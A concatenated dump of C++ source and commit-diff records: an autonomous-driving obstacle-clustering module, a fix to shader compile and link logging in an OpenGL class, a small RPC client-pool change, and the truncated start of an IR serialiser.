lane_obstacle.set_lane_l(lane_l);\n lane_obstacles_[lane_id].push_back(std::move(lane_obstacle));\n}\n\nvoid ObstacleClusters::SortObstacles() {\n for (auto iter = lane_obstacles_.begin();\n iter != lane_obstacles_.end(); ++iter) {\n std::sort(iter->second.begin(), iter->second.end(),\n [](const LaneObstacle& obs0, const LaneObstacle& obs1) -> bool {\n return obs0.lane_s() < obs1.lane_s();\n });\n }\n}\n\nbool ObstacleClusters::ForwardNearbyObstacle(\n const LaneSequence& lane_sequence,\n const int obstacle_id,\n const double obstacle_s,\n const double obstacle_l,\n NearbyObstacle* const nearby_obstacle_ptr) {\n double accumulated_s = 0.0;\n for (const LaneSegment& lane_segment : lane_sequence.lane_segment()) {\n std::string lane_id = lane_segment.lane_id();\n double lane_length = lane_segment.total_length();\n if (lane_obstacles_.find(lane_id) == lane_obstacles_.end() ||\n lane_obstacles_[lane_id].empty()) {\n accumulated_s += lane_length;\n continue;\n }\n for (const LaneObstacle& lane_obstacle : lane_obstacles_[lane_id]) {\n if (lane_obstacle.obstacle_id() == obstacle_id) {\n continue;\n }\n double relative_s = accumulated_s + lane_obstacle.lane_s() - obstacle_s;\n double relative_l = lane_obstacle.lane_l() - obstacle_l;\n if (relative_s > 0.0) {\n nearby_obstacle_ptr->set_id(lane_obstacle.obstacle_id());\n nearby_obstacle_ptr->set_s(relative_s);\n nearby_obstacle_ptr->set_l(relative_l);\n return true;\n }\n }\n }\n return false;\n}\n\nbool ObstacleClusters::BackwardNearbyObstacle(\n const LaneSequence& lane_sequence,\n const int obstacle_id,\n const double obstacle_s,\n const double obstacle_l,\n NearbyObstacle* const nearby_obstacle_ptr) {\n if (lane_sequence.lane_segment_size() == 0) {\n AERROR << \"Empty lane sequence found.\";\n return false;\n }\n const LaneSegment& lane_segment = lane_sequence.lane_segment(0);\n std::string lane_id = lane_segment.lane_id();\n\n \/\/ Search current lane\n if (lane_obstacles_.find(lane_id) != lane_obstacles_.end() &&\n !lane_obstacles_[lane_id].empty()) {\n for (int i = static_cast<int>(lane_obstacles_[lane_id].size()) - 1;\n i >= 0; --i) {\n const LaneObstacle& lane_obstacle = lane_obstacles_[lane_id][i];\n if (lane_obstacle.obstacle_id() == obstacle_id) {\n continue;\n }\n double relative_s = lane_obstacle.lane_s() - obstacle_s;\n double relative_l = lane_obstacle.lane_l() - obstacle_l;\n if (relative_s < 0.0) {\n nearby_obstacle_ptr->set_id(lane_obstacle.obstacle_id());\n nearby_obstacle_ptr->set_s(relative_s);\n nearby_obstacle_ptr->set_l(relative_l);\n return true;\n }\n }\n }\n\n \/\/ Search backward lanes\n std::shared_ptr<const LaneInfo> lane_info_ptr =\n PredictionMap::LaneById(lane_id);\n bool found_one_behind = false;\n double relative_s = -std::numeric_limits<double>::infinity();\n double relative_l = 0.0;\n for (const auto& predecessor_lane_id :\n lane_info_ptr->lane().predecessor_id()) {\n std::string lane_id = predecessor_lane_id.id();\n if (lane_obstacles_.find(lane_id) == lane_obstacles_.end() ||\n lane_obstacles_[lane_id].empty()) {\n continue;\n }\n std::shared_ptr<const LaneInfo> pred_lane_info_ptr =\n PredictionMap::LaneById(predecessor_lane_id.id());\n const LaneObstacle& backward_obs = lane_obstacles_[lane_id].back();\n double delta_s = backward_obs.lane_s() -\n (obstacle_s + pred_lane_info_ptr->total_length());\n found_one_behind = true;\n if (delta_s > relative_s) {\n relative_s = delta_s;\n relative_l = backward_obs.lane_l() - obstacle_l;\n nearby_obstacle_ptr->set_id(backward_obs.obstacle_id());\n nearby_obstacle_ptr->set_s(relative_s);\n nearby_obstacle_ptr->set_l(relative_l);\n }\n }\n\n return found_one_behind;\n}\n\nStopSign ObstacleClusters::QueryStopSignByLaneId(const std::string& lane_id) {\n StopSign stop_sign;\n \/\/ Find the stop_sign by lane_id in the hashtable\n if (lane_id_stop_sign_map_.find(lane_id) != lane_id_stop_sign_map_.end()) {\n return lane_id_stop_sign_map_[lane_id];\n }\n std::shared_ptr<const LaneInfo> lane_info_ptr =\n PredictionMap::LaneById(lane_id);\n CHECK_NOTNULL(lane_info_ptr);\n for (const auto &overlap_id : lane_info_ptr->lane().overlap_id()) {\n auto overlap_info_ptr = PredictionMap::OverlapById(overlap_id.id());\n if (overlap_info_ptr == nullptr) {\n continue;\n }\n for (const auto &object : overlap_info_ptr->overlap().object()) {\n \/\/ find the overlap with stop_sign\n if (object.has_stop_sign_overlap_info()) {\n for (const auto &obj : overlap_info_ptr->overlap().object()) {\n \/\/ find the obj of in the overlap\n if (obj.has_lane_overlap_info()) {\n if (!stop_sign.has_lane_s() ||\n stop_sign.lane_s() > obj.lane_overlap_info().start_s()) {\n stop_sign.set_stop_sign_id(object.id().id());\n stop_sign.set_lane_id(lane_id);\n stop_sign.set_lane_s(obj.lane_overlap_info().start_s());\n lane_id_stop_sign_map_[lane_id] = stop_sign;\n }\n }\n }\n }\n }\n }\n return lane_id_stop_sign_map_[lane_id];\n}\n\n} \/\/ namespace prediction\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2013 Pavlo Lavrenenko\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n#include <Shader.h>\n#include <unordered_map>\n#include <stdexcept>\n#include <sstream>\n#include <fstream>\n#include <vector>\n#include <memory>\n#ifdef GRAPHENE_DEBUG\n#include <iostream>\n#endif\n\nnamespace Graphene {\n\nGLuint Shader::activeProgram = 0;\n\nShader::Shader(const std::string& name) {\n std::ifstream file(name, std::ios::binary);\n if (!file.good()) {\n throw std::runtime_error(\"Failed to open `\" + name + \"'\");\n }\n\n file.seekg(0, std::ios::end);\n int sourceLength = file.tellg();\n file.seekg(0, std::ios::beg);\n\n std::unique_ptr<char[]> source(new char[sourceLength]);\n file.read(source.get(), sourceLength);\n file.close();\n\n this->source = std::string(source.get(), sourceLength);\n this->buildShader();\n}\n\nvoid Shader::buildShader() {\n std::vector<GLuint> shaders;\n std::unordered_map<std::string, GLenum> shaderTypes = {\n { \"#define TYPE_VERTEX\\n\", GL_VERTEX_SHADER },\n { \"#define TYPE_FRAGMENT\\n\", GL_FRAGMENT_SHADER }\n };\n\n for (auto& shaderType: shaderTypes) {\n std::stringstream modifiedSource;\n modifiedSource << shaderType.first;\n modifiedSource << this->source;\n shaders.push_back(this->compile(modifiedSource.str(), shaderType.second));\n }\n\n this->program = this->link(shaders);\n}\n\nGLuint Shader::compile(const std::string& source, GLenum type) {\n GLuint shader = glCreateShader(type);\n const char* sourceStrings = source.c_str();\n\n glShaderSource(shader, 1, &sourceStrings, nullptr);\n glCompileShader(shader);\n\n GLint infoLogLength;\n glGetShaderiv(shader, GL_INFO_LOG_LENGTH, &infoLogLength);\n\n std::unique_ptr<GLchar[]> infoLog;\n if (infoLogLength > 0) { \/\/ ATI workaround, successful compilation\n infoLog.reset(new GLchar[infoLogLength]);\n glGetShaderInfoLog(shader, infoLogLength, nullptr, infoLog.get());\n }\n\n GLint compileStatus;\n glGetShaderiv(shader, GL_COMPILE_STATUS, &compileStatus);\n\n if (compileStatus == GL_FALSE) {\n glDeleteShader(shader);\n\n std::stringstream errorMessage;\n errorMessage << \"Failed to compile shader\\n\" << infoLog.get();\n throw std::runtime_error(errorMessage.str());\n }\n\n#ifdef GRAPHENE_DEBUG\n if (infoLogLength > 0) {\n std::cout << \"Shader compiled\\n\" << infoLog.get() << std::endl;\n }\n#endif\n\n return shader;\n}\n\nGLuint Shader::link(const std::vector<GLuint>& shaders) {\n GLuint program = glCreateProgram();\n\n for (auto& shader: shaders) {\n glAttachShader(program, shader);\n glDeleteShader(shader);\n }\n\n glLinkProgram(program);\n\n GLint infoLogLength;\n glGetProgramiv(program, GL_INFO_LOG_LENGTH, &infoLogLength);\n\n std::unique_ptr<GLchar[]> infoLog;\n if (infoLogLength > 0) { \/\/ ATI workaround, successful linking\n infoLog.reset(new GLchar[infoLogLength]);\n glGetProgramInfoLog(program, infoLogLength, nullptr, infoLog.get());\n }\n\n GLint linkStatus;\n glGetProgramiv(program, GL_LINK_STATUS, &linkStatus);\n\n if (linkStatus == GL_FALSE) {\n glDeleteProgram(program);\n\n std::stringstream errorMessage;\n errorMessage << \"Failed to link shader\\n\" << infoLog.get();\n throw std::runtime_error(errorMessage.str());\n }\n\n#ifdef GRAPHENE_DEBUG\n if (infoLogLength > 0) {\n std::cout << \"Shader linked\\n\" << infoLog.get() << std::endl;\n }\n#endif\n\n return program;\n}\n\n} \/\/ namespace Graphene\n<commit_msg>Fix shader compilation output<commit_after>\/*\n * Copyright (c) 2013 Pavlo Lavrenenko\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n#include <Shader.h>\n#include <unordered_map>\n#include <stdexcept>\n#include <sstream>\n#include <fstream>\n#include <vector>\n#include <memory>\n#ifdef GRAPHENE_DEBUG\n#include <iostream>\n#endif\n\nnamespace Graphene {\n\nGLuint Shader::activeProgram = 0;\n\nShader::Shader(const std::string& name) {\n std::ifstream file(name, std::ios::binary);\n if (!file.good()) {\n throw std::runtime_error(\"Failed to open `\" + name + \"'\");\n }\n\n file.seekg(0, std::ios::end);\n int sourceLength = file.tellg();\n file.seekg(0, std::ios::beg);\n\n std::unique_ptr<char[]> source(new char[sourceLength]);\n file.read(source.get(), sourceLength);\n file.close();\n\n this->source = std::string(source.get(), sourceLength);\n this->buildShader();\n}\n\nvoid Shader::buildShader() {\n std::vector<GLuint> shaders;\n std::unordered_map<std::string, GLenum> shaderTypes = {\n { \"#define TYPE_VERTEX\\n\", GL_VERTEX_SHADER },\n { \"#define TYPE_FRAGMENT\\n\", GL_FRAGMENT_SHADER }\n };\n\n for (auto& shaderType: shaderTypes) {\n std::stringstream modifiedSource;\n modifiedSource << shaderType.first;\n modifiedSource << this->source;\n shaders.push_back(this->compile(modifiedSource.str(), shaderType.second));\n }\n\n this->program = this->link(shaders);\n}\n\nGLuint Shader::compile(const std::string& source, GLenum type) {\n GLuint shader = glCreateShader(type);\n const char* sourceStrings = source.c_str();\n\n glShaderSource(shader, 1, &sourceStrings, nullptr);\n glCompileShader(shader);\n\n GLint infoLogLength;\n glGetShaderiv(shader, GL_INFO_LOG_LENGTH, &infoLogLength);\n\n std::unique_ptr<GLchar[]> infoLog;\n if (infoLogLength > 1) {\n infoLog.reset(new GLchar[infoLogLength]);\n glGetShaderInfoLog(shader, infoLogLength, nullptr, infoLog.get());\n#ifdef GRAPHENE_DEBUG\n std::cout << \"Shader compiled\\n\" << infoLog.get() << std::endl;\n#endif\n }\n\n GLint compileStatus;\n glGetShaderiv(shader, GL_COMPILE_STATUS, &compileStatus);\n\n if (compileStatus == GL_FALSE) {\n glDeleteShader(shader);\n\n std::stringstream errorMessage;\n errorMessage << \"Failed to compile shader\\n\" << infoLog.get();\n throw std::runtime_error(errorMessage.str());\n }\n\n return shader;\n}\n\nGLuint Shader::link(const std::vector<GLuint>& shaders) {\n GLuint program = glCreateProgram();\n\n for (auto& shader: shaders) {\n glAttachShader(program, shader);\n glDeleteShader(shader);\n }\n\n glLinkProgram(program);\n\n GLint infoLogLength;\n glGetProgramiv(program, GL_INFO_LOG_LENGTH, &infoLogLength);\n\n std::unique_ptr<GLchar[]> infoLog;\n if (infoLogLength > 1) {\n infoLog.reset(new GLchar[infoLogLength]);\n glGetProgramInfoLog(program, infoLogLength, nullptr, infoLog.get());\n#ifdef GRAPHENE_DEBUG\n std::cout << \"Shader linked\\n\" << infoLog.get() << std::endl;\n#endif\n }\n\n GLint linkStatus;\n glGetProgramiv(program, GL_LINK_STATUS, &linkStatus);\n\n if (linkStatus == GL_FALSE) {\n glDeleteProgram(program);\n\n std::stringstream errorMessage;\n errorMessage << \"Failed to link shader\\n\" << infoLog.get();\n throw std::runtime_error(errorMessage.str());\n }\n\n return program;\n}\n\n} \/\/ namespace Graphene\n<|endoftext|>"} {"text":"<commit_before>#include <string>\n\n#include <errno.h>\n#include <string.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netdb.h>\n#include <netinet\/tcp.h>\n\n#include \"client.h\"\n\nusing namespace std;\n\nnamespace rpc {\n\nvoid Future::wait() {\n Pthread_mutex_lock(&ready_m_);\n while (!ready_) {\n Pthread_cond_wait(&ready_cond_, &ready_m_);\n }\n Pthread_mutex_unlock(&ready_m_);\n}\n\nvoid Future::notify_ready() {\n Pthread_mutex_lock(&ready_m_);\n ready_ = true;\n Pthread_cond_signal(&ready_cond_);\n Pthread_mutex_unlock(&ready_m_);\n\n if (attr_.callback != NULL) {\n attr_.callback->run(this);\n\n \/\/ automatically cleanup the callback\n delete attr_.callback;\n attr_.callback = NULL;\n }\n}\n\n\nClient::Client(PollMgr* pollmgr): pollmgr_(pollmgr), sock_(-1), status_(NEW), bmark_(NULL) {\n Pthread_mutex_init(&pending_fu_m_, NULL);\n Pthread_mutex_init(&out_m_, NULL);\n}\n\nClient::~Client() {\n invalidate_pending_futures();\n\n Pthread_mutex_destroy(&pending_fu_m_);\n Pthread_mutex_destroy(&out_m_);\n\n \/\/Log::debug(\"rpc::Client: destroyed\");\n}\n\nvoid Client::invalidate_pending_futures() {\n list<Future*> futures;\n Pthread_mutex_lock(&pending_fu_m_);\n while (pending_fu_.empty() == false) {\n futures.push_back(pending_fu_.begin()->second);\n pending_fu_.erase(pending_fu_.begin());\n }\n Pthread_mutex_unlock(&pending_fu_m_);\n\n for (list<Future*>::iterator it = futures.begin(); it != futures.end(); ++it) {\n Future* fu = *it;\n if (fu != NULL) {\n fu->error_code_ = ENOTCONN;\n fu->notify_ready();\n\n \/\/ since we removed it from pending_fu_\n fu->release();\n }\n }\n\n}\n\nvoid Client::close() {\n if (status_ == CONNECTED) {\n pollmgr_->remove(this);\n ::close(sock_);\n status_ = CLOSED;\n\n invalidate_pending_futures();\n }\n status_ = CLOSED;\n}\n\nint Client::connect(const char* addr) {\n string addr_str(addr);\n size_t idx = addr_str.find(\":\");\n if (idx == string::npos) {\n Log::error(\"rpc::Client: bad connect address: %s\", addr);\n errno = EINVAL;\n return -1;\n }\n string host = addr_str.substr(0, idx);\n string port = addr_str.substr(idx + 1);\n\n struct addrinfo hints, *result, *rp;\n memset(&hints, 0, sizeof(struct addrinfo));\n\n hints.ai_family = AF_INET; \/\/ ipv4\n hints.ai_socktype = SOCK_STREAM; \/\/ tcp\n\n int r = getaddrinfo(host.c_str(), port.c_str(), &hints, &result);\n if (r != 0) {\n Log::error(\"rpc::Client: getaddrinfo(): %s\", gai_strerror(r));\n return -1;\n }\n\n for (rp = result; rp != NULL; rp = rp->ai_next) {\n sock_ = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);\n if (sock_ == -1) {\n continue;\n }\n\n const int yes = 1;\n verify(setsockopt(sock_, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) == 0);\n verify(setsockopt(sock_, IPPROTO_TCP, TCP_NODELAY, &yes, sizeof(yes)) == 0);\n\n if (::connect(sock_, rp->ai_addr, rp->ai_addrlen) == 0) {\n break;\n }\n ::close(sock_);\n sock_ = -1;\n }\n freeaddrinfo(result);\n\n if (rp == NULL) {\n \/\/ failed to connect\n Log::error(\"rpc::Client: connect(): %s\", strerror(errno));\n return -1;\n }\n\n verify(set_nonblocking(sock_, true) == 0);\n Log::info(\"rpc::Client: connected to %s\", addr);\n\n status_ = CONNECTED;\n pollmgr_->add(this);\n\n return 0;\n}\n\nvoid Client::handle_error() {\n close();\n}\n\nvoid Client::handle_write() {\n if (status_ != CONNECTED) {\n return;\n }\n\n Pthread_mutex_lock(&out_m_);\n out_.write_to_fd(sock_);\n if (out_.empty()) {\n pollmgr_->update_mode(this, Pollable::READ);\n }\n Pthread_mutex_unlock(&out_m_);\n}\n\nvoid Client::handle_read() {\n if (status_ != CONNECTED) {\n return;\n }\n\n int bytes_read = in_.read_from_fd(sock_);\n if (bytes_read == 0) {\n return;\n }\n\n for (;;) {\n i32 packet_size;\n int n_peek = in_.peek(&packet_size, sizeof(i32));\n if (n_peek == sizeof(i32) && in_.content_size_gt(packet_size + sizeof(i32) - 1)) {\n \/\/ consume the packet size\n verify(in_.read(&packet_size, sizeof(i32)) == sizeof(i32));\n\n i64 reply_xid;\n i32 error_code;\n\n in_ >> reply_xid >> error_code;\n\n Pthread_mutex_lock(&pending_fu_m_);\n map<i64, Future*>::iterator it = pending_fu_.find(reply_xid);\n if (it != pending_fu_.end()) {\n Future* fu = it->second;\n verify(fu->xid_ == reply_xid);\n pending_fu_.erase(it);\n Pthread_mutex_unlock(&pending_fu_m_);\n\n fu->error_code_ = error_code;\n fu->reply_.read_from_marshal(in_, packet_size - sizeof(reply_xid) - sizeof(error_code));\n\n fu->notify_ready();\n\n \/\/ since we removed it from pending_fu_\n fu->release();\n }\n\n } else {\n \/\/ packet incomplete or no more packets to process\n break;\n }\n }\n}\n\nint Client::poll_mode() {\n int mode = Pollable::READ;\n Pthread_mutex_lock(&out_m_);\n if (!out_.empty()) {\n mode |= Pollable::WRITE;\n }\n Pthread_mutex_unlock(&out_m_);\n return mode;\n}\n\nFuture* Client::begin_request(i32 rpc_id, const FutureAttr& attr \/* =... *\/) {\n Pthread_mutex_lock(&out_m_);\n\n if (status_ != CONNECTED) {\n if (attr.callback != NULL) {\n delete attr.callback;\n }\n return NULL;\n }\n\n Future* fu = new Future(xid_counter_.next(), attr);\n Pthread_mutex_lock(&pending_fu_m_);\n pending_fu_[fu->xid_] = fu;\n pending_fu_.size();\n Pthread_mutex_unlock(&pending_fu_m_);\n\n \/\/ check if the client gets closed in the meantime\n if (status_ != CONNECTED) {\n Pthread_mutex_lock(&pending_fu_m_);\n map<i64, Future*>::iterator it = pending_fu_.find(fu->xid_);\n if (it != pending_fu_.end()) {\n it->second->release();\n pending_fu_.erase(it);\n }\n Pthread_mutex_unlock(&pending_fu_m_);\n\n return NULL;\n }\n\n bmark_ = out_.set_bookmark(sizeof(i32)); \/\/ will fill packet size later\n\n *this << fu->xid_;\n *this << rpc_id;\n\n \/\/ one ref is already in pending_fu_\n return (Future *) fu->ref_copy();\n}\n\nvoid Client::end_request() {\n \/\/ set reply size in packet\n if (bmark_ != NULL) {\n i32 request_size = out_.get_write_counter_and_reset();\n out_.write_bookmark(bmark_, &request_size);\n delete bmark_;\n bmark_ = NULL;\n }\n\n if (!out_.empty()) {\n pollmgr_->update_mode(this, Pollable::READ | Pollable::WRITE);\n }\n\n Pthread_mutex_unlock(&out_m_);\n}\n\nClientPool::ClientPool(PollMgr* pollmgr \/* =? *\/) {\n Pthread_mutex_init(&m_, NULL);\n\n if (pollmgr == NULL) {\n pollmgr_ = new PollMgr(1);\n } else {\n pollmgr_ = (PollMgr *) pollmgr->ref_copy();\n }\n}\n\nClientPool::~ClientPool() {\n for (map<string, Client*>::iterator it = cache_.begin(); it != cache_.end(); ++it) {\n it->second->close_and_release();\n }\n\n pollmgr_->release();\n\n Pthread_mutex_destroy(&m_);\n}\n\nClient* ClientPool::get_client(const string& addr) {\n Client* cl = NULL;\n Pthread_mutex_lock(&m_);\n map<string, Client*>::iterator it = cache_.find(addr);\n if (it != cache_.end()) {\n cl = it->second;\n } else {\n cl = new Client(this->pollmgr_);\n if (cl->connect(addr.c_str()) != 0) {\n \/\/ connect failure\n cl->close_and_release();\n cl = NULL;\n } else {\n \/\/ connect success\n cache_[addr] = cl;\n }\n }\n Pthread_mutex_unlock(&m_);\n return cl;\n}\n\n}\n<commit_msg>minor update<commit_after>#include <string>\n\n#include <errno.h>\n#include <string.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netdb.h>\n#include <netinet\/tcp.h>\n\n#include \"client.h\"\n\nusing namespace std;\n\nnamespace rpc {\n\nvoid Future::wait() {\n Pthread_mutex_lock(&ready_m_);\n while (!ready_) {\n Pthread_cond_wait(&ready_cond_, &ready_m_);\n }\n Pthread_mutex_unlock(&ready_m_);\n}\n\nvoid Future::notify_ready() {\n Pthread_mutex_lock(&ready_m_);\n ready_ = true;\n Pthread_cond_signal(&ready_cond_);\n Pthread_mutex_unlock(&ready_m_);\n\n if (attr_.callback != NULL) {\n attr_.callback->run(this);\n\n \/\/ automatically cleanup the callback\n delete attr_.callback;\n attr_.callback = NULL;\n }\n}\n\n\nClient::Client(PollMgr* pollmgr): pollmgr_(pollmgr), sock_(-1), status_(NEW), bmark_(NULL) {\n Pthread_mutex_init(&pending_fu_m_, NULL);\n Pthread_mutex_init(&out_m_, NULL);\n}\n\nClient::~Client() {\n invalidate_pending_futures();\n\n Pthread_mutex_destroy(&pending_fu_m_);\n Pthread_mutex_destroy(&out_m_);\n\n \/\/Log::debug(\"rpc::Client: destroyed\");\n}\n\nvoid Client::invalidate_pending_futures() {\n list<Future*> futures;\n Pthread_mutex_lock(&pending_fu_m_);\n while (pending_fu_.empty() == false) {\n futures.push_back(pending_fu_.begin()->second);\n pending_fu_.erase(pending_fu_.begin());\n }\n Pthread_mutex_unlock(&pending_fu_m_);\n\n for (list<Future*>::iterator it = futures.begin(); it != futures.end(); ++it) {\n Future* fu = *it;\n if (fu != NULL) {\n fu->error_code_ = ENOTCONN;\n fu->notify_ready();\n\n \/\/ since we removed it from pending_fu_\n fu->release();\n }\n }\n\n}\n\nvoid Client::close() {\n if (status_ == CONNECTED) {\n pollmgr_->remove(this);\n ::close(sock_);\n status_ = CLOSED;\n\n invalidate_pending_futures();\n }\n status_ = CLOSED;\n}\n\nint Client::connect(const char* addr) {\n string addr_str(addr);\n size_t idx = addr_str.find(\":\");\n if (idx == string::npos) {\n Log::error(\"rpc::Client: bad connect address: %s\", addr);\n errno = EINVAL;\n return -1;\n }\n string host = addr_str.substr(0, idx);\n string port = addr_str.substr(idx + 1);\n\n struct addrinfo hints, *result, *rp;\n memset(&hints, 0, sizeof(struct addrinfo));\n\n hints.ai_family = AF_INET; \/\/ ipv4\n hints.ai_socktype = SOCK_STREAM; \/\/ tcp\n\n int r = getaddrinfo(host.c_str(), port.c_str(), &hints, &result);\n if (r != 0) {\n Log::error(\"rpc::Client: getaddrinfo(): %s\", gai_strerror(r));\n return -1;\n }\n\n for (rp = result; rp != NULL; rp = rp->ai_next) {\n sock_ = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);\n if (sock_ == -1) {\n continue;\n }\n\n const int yes = 1;\n verify(setsockopt(sock_, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) == 0);\n verify(setsockopt(sock_, IPPROTO_TCP, TCP_NODELAY, &yes, sizeof(yes)) == 0);\n\n if (::connect(sock_, rp->ai_addr, rp->ai_addrlen) == 0) {\n break;\n }\n ::close(sock_);\n sock_ = -1;\n }\n freeaddrinfo(result);\n\n if (rp == NULL) {\n \/\/ failed to connect\n Log::error(\"rpc::Client: connect(): %s\", strerror(errno));\n return -1;\n }\n\n verify(set_nonblocking(sock_, true) == 0);\n Log::info(\"rpc::Client: connected to %s\", addr);\n\n status_ = CONNECTED;\n pollmgr_->add(this);\n\n return 0;\n}\n\nvoid Client::handle_error() {\n close();\n}\n\nvoid Client::handle_write() {\n if (status_ != CONNECTED) {\n return;\n }\n\n Pthread_mutex_lock(&out_m_);\n out_.write_to_fd(sock_);\n if (out_.empty()) {\n pollmgr_->update_mode(this, Pollable::READ);\n }\n Pthread_mutex_unlock(&out_m_);\n}\n\nvoid Client::handle_read() {\n if (status_ != CONNECTED) {\n return;\n }\n\n int bytes_read = in_.read_from_fd(sock_);\n if (bytes_read == 0) {\n return;\n }\n\n for (;;) {\n i32 packet_size;\n int n_peek = in_.peek(&packet_size, sizeof(i32));\n if (n_peek == sizeof(i32) && in_.content_size_gt(packet_size + sizeof(i32) - 1)) {\n \/\/ consume the packet size\n verify(in_.read(&packet_size, sizeof(i32)) == sizeof(i32));\n\n i64 reply_xid;\n i32 error_code;\n\n in_ >> reply_xid >> error_code;\n\n Pthread_mutex_lock(&pending_fu_m_);\n map<i64, Future*>::iterator it = pending_fu_.find(reply_xid);\n if (it != pending_fu_.end()) {\n Future* fu = it->second;\n verify(fu->xid_ == reply_xid);\n pending_fu_.erase(it);\n Pthread_mutex_unlock(&pending_fu_m_);\n\n fu->error_code_ = error_code;\n fu->reply_.read_from_marshal(in_, packet_size - sizeof(reply_xid) - sizeof(error_code));\n\n fu->notify_ready();\n\n \/\/ since we removed it from pending_fu_\n fu->release();\n }\n\n } else {\n \/\/ packet incomplete or no more packets to process\n break;\n }\n }\n}\n\nint Client::poll_mode() {\n int mode = Pollable::READ;\n Pthread_mutex_lock(&out_m_);\n if (!out_.empty()) {\n mode |= Pollable::WRITE;\n }\n Pthread_mutex_unlock(&out_m_);\n return mode;\n}\n\nFuture* Client::begin_request(i32 rpc_id, const FutureAttr& attr \/* =... *\/) {\n Pthread_mutex_lock(&out_m_);\n\n if (status_ != CONNECTED) {\n if (attr.callback != NULL) {\n delete attr.callback;\n }\n return NULL;\n }\n\n Future* fu = new Future(xid_counter_.next(), attr);\n Pthread_mutex_lock(&pending_fu_m_);\n pending_fu_[fu->xid_] = fu;\n pending_fu_.size();\n Pthread_mutex_unlock(&pending_fu_m_);\n\n \/\/ check if the client gets closed in the meantime\n if (status_ != CONNECTED) {\n Pthread_mutex_lock(&pending_fu_m_);\n map<i64, Future*>::iterator it = pending_fu_.find(fu->xid_);\n if (it != pending_fu_.end()) {\n it->second->release();\n pending_fu_.erase(it);\n }\n Pthread_mutex_unlock(&pending_fu_m_);\n\n return NULL;\n }\n\n bmark_ = out_.set_bookmark(sizeof(i32)); \/\/ will fill packet size later\n\n *this << fu->xid_;\n *this << rpc_id;\n\n \/\/ one ref is already in pending_fu_\n return (Future *) fu->ref_copy();\n}\n\nvoid Client::end_request() {\n \/\/ set reply size in packet\n if (bmark_ != NULL) {\n i32 request_size = out_.get_write_counter_and_reset();\n out_.write_bookmark(bmark_, &request_size);\n delete bmark_;\n bmark_ = NULL;\n }\n\n if (!out_.empty()) {\n pollmgr_->update_mode(this, Pollable::READ | Pollable::WRITE);\n }\n\n Pthread_mutex_unlock(&out_m_);\n}\n\nClientPool::ClientPool(PollMgr* pollmgr \/* =? *\/) {\n Pthread_mutex_init(&m_, NULL);\n\n if (pollmgr == NULL) {\n pollmgr_ = new PollMgr(1);\n } else {\n pollmgr_ = (PollMgr *) pollmgr->ref_copy();\n }\n}\n\nClientPool::~ClientPool() {\n for (map<string, Client*>::iterator it = cache_.begin(); it != cache_.end(); ++it) {\n it->second->close_and_release();\n }\n pollmgr_->release();\n Pthread_mutex_destroy(&m_);\n}\n\nClient* ClientPool::get_client(const string& addr) {\n Client* cl = NULL;\n Pthread_mutex_lock(&m_);\n map<string, Client*>::iterator it = cache_.find(addr);\n if (it != cache_.end()) {\n cl = it->second;\n } else {\n cl = new Client(this->pollmgr_);\n if (cl->connect(addr.c_str()) != 0) {\n \/\/ connect failure\n cl->close_and_release();\n cl = NULL;\n } else {\n \/\/ connect success\n cache_.insert(make_pair(addr, cl));\n }\n }\n Pthread_mutex_unlock(&m_);\n return cl;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <iterator>\n#include <vector>\n\n#include \"IR.h\"\n\n\/*\n save mem\n save reg\n mem node sets\n reg values\n*\/\n\nvoid emit_int32_t(std::ofstream& f, int32_t data) {\n f.write((char*)&data,sizeof(data));\n}\n\nvoid emit_int_set(std::ofstream& f, int_set_t& s) {\n emit_int32_t(f, RES_INT_SET);\n emit_int32_t(f, s.size());\n for (auto& i: s) {\n emit_int32_t(f, i);\n }\n}\n\nvoid emit_node_item(std::ofstream& f, std::vector<int_set_t>& ni) {\n emit_int32_t(f, RES_NODE_ITEM);\n emit_int32_t(f, ni.size());\n for (auto& i: ni) {\n emit_int_set(f, i);\n }\n}\n\nvoid emit_node_set(std::ofstream& f, node_set_t& ns) 